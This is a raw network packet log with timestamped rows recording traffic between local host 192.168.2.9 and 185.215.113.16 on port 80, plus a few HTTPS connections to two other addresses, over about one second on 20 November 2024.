Nov 20, 2024 16:51:08.788338900 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.788465977 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.788511038 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.788511038 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.789582968 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.789720058 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.789762974 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.789762974 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.790896893 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.790961027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.791007996 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.791007996 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.792202950 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.792274952 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.792319059 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.792357922 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.793304920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.793538094 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.793584108 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.793584108 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.794703960 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.794814110 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.794856071 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.794994116 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.795614004 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.795969009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.796138048 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.796623945 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.796778917 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.796833992 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.797184944 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.797261953 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.798021078 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.798147917 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.798196077 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.798362970 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.799206972 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.799365044 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.799447060 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.799637079 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.800395012 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.800626993 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.800731897 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.801754951 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.801842928 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.801879883 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.801960945 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.802826881 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.802932978 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.802969933 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.803028107 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.803981066 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.804009914 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.804074049 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.804074049 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.805330038 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.805345058 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.805413961 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.805413961 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.806469917 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.806567907 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.806793928 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.807665110 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.807898045 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.808000088 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.808875084 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.809029102 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.809057951 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.809072971 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.810251951 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.810359001 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.810363054 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.810450077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.811398983 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.811599970 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.811778069 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.812103987 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.812652111 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.812814951 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.813014984 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.813129902 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.813740969 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.813891888 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.814043045 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.814325094 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.814965963 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.815021992 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.815094948 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.816252947 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.816324949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.816325903 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.816582918 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.817614079 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.817667007 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.817745924 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.817807913 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.819365978 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.819492102 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.819819927 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.820326090 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.821069002 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.821147919 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.821335077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.821842909 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.821989059 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.822033882 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.822035074 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.822694063 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.822871923 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.822881937 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.823142052 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.823765993 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.823791981 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.823832989 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.823833942 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.824703932 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.824897051 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.824978113 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.825167894 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.825870037 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.826060057 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.826138020 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.827086926 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.827157974 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.827222109 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.827297926 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.828355074 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.828428030 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.828591108 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.828638077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.829561949 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.829688072 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.964776039 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.964874029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.964968920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.965023994 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.965163946 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.965383053 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.965451956 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.967833996 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.967900038 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.968080997 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.968137980 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.968445063 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.968516111 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.968589067 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.969315052 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.969383955 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.969389915 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.969785929 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.970434904 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.970454931 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.970495939 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.970495939 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.971688032 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.971708059 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.971769094 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.972826004 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.972872972 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.972892046 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.972943068 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.973642111 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.973690033 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.973764896 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.974932909 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.974983931 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.975049973 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.975209951 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.976246119 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.976305962 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.976452112 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.977029085 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.977122068 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.977253914 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.977340937 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.978502989 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.978622913 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.978693962 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.978760004 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.979744911 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.979811907 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.979938984 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.980025053 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.980882883 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.981077909 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.981146097 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.981997967 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.982064009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.982268095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.982325077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.983264923 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.983328104 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.983334064 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.983709097 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.984364986 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.984492064 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.984625101 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.984719038 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.985585928 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.985645056 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.985934973 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.986298084 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.986764908 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.986835003 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.986886024 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.987015963 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.987999916 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.988212109 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.988352060 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.989131927 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.989196062 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.989346981 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.989531040 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.990386009 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.990453959 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.991074085 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.991455078 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.991585016 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.991686106 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.991857052 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.992783070 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.992839098 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.992868900 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.993174076 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.993973017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.994095087 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.994443893 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.994544983 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.995177984 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.995328903 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.995450974 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.996195078 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.996404886 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.996457100 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.996475935 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.996504068 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.997560024 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.997802019 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.997912884 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.998781919 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.998914003 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.998976946 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.999596119 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.000020027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.000360966 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.000443935 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.001209021 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.001322985 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.001651049 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.001715899 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.002332926 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.002401114 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.002537966 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.003029108 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.003524065 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.003658056 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.003712893 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.003712893 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.004760027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.004934072 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.005017042 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.005930901 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.006047964 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.006283998 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.006726980 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.007157087 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.007271051 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.007328987 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.007400036 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.008366108 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.008419037 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.008490086 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.008625984 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.009529114 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.009633064 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.009711027 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.010749102 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.010812044 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.010849953 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.010849953 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.012082100 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.012136936 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.012491941 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.012561083 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.012944937 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:09.013036966 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:09.013216972 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.013252020 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.013274908 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:51:09.013298988 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.013298988 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.013695002 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:09.013770103 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:09.013824940 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:51:09.014350891 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.014415979 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.014497042 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.014566898 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.015631914 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.015849113 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.015918016 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.016807079 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.016880989 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.016958952 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.017091990 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.017601967 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:51:09.017741919 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:51:09.017846107 CET	49793	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:51:09.018604994 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.018651962 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.018663883 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.018691063 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.020205021 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.020334005 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.020432949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.021271944 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.021343946 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.021351099 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.021529913 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.022052050 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.022145033 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.022155046 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.022320032 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.023142099 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.023235083 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.023330927 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.024008989 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.024086952 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.024168968 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.025262117 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.025340080 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.025839090 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.025999069 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.026633978 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.026750088 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.026812077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.027564049 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:09.027623892 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:09.062829018 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:51:09.062892914 CET	443	49792	162.159.61.3	192.168.2.9
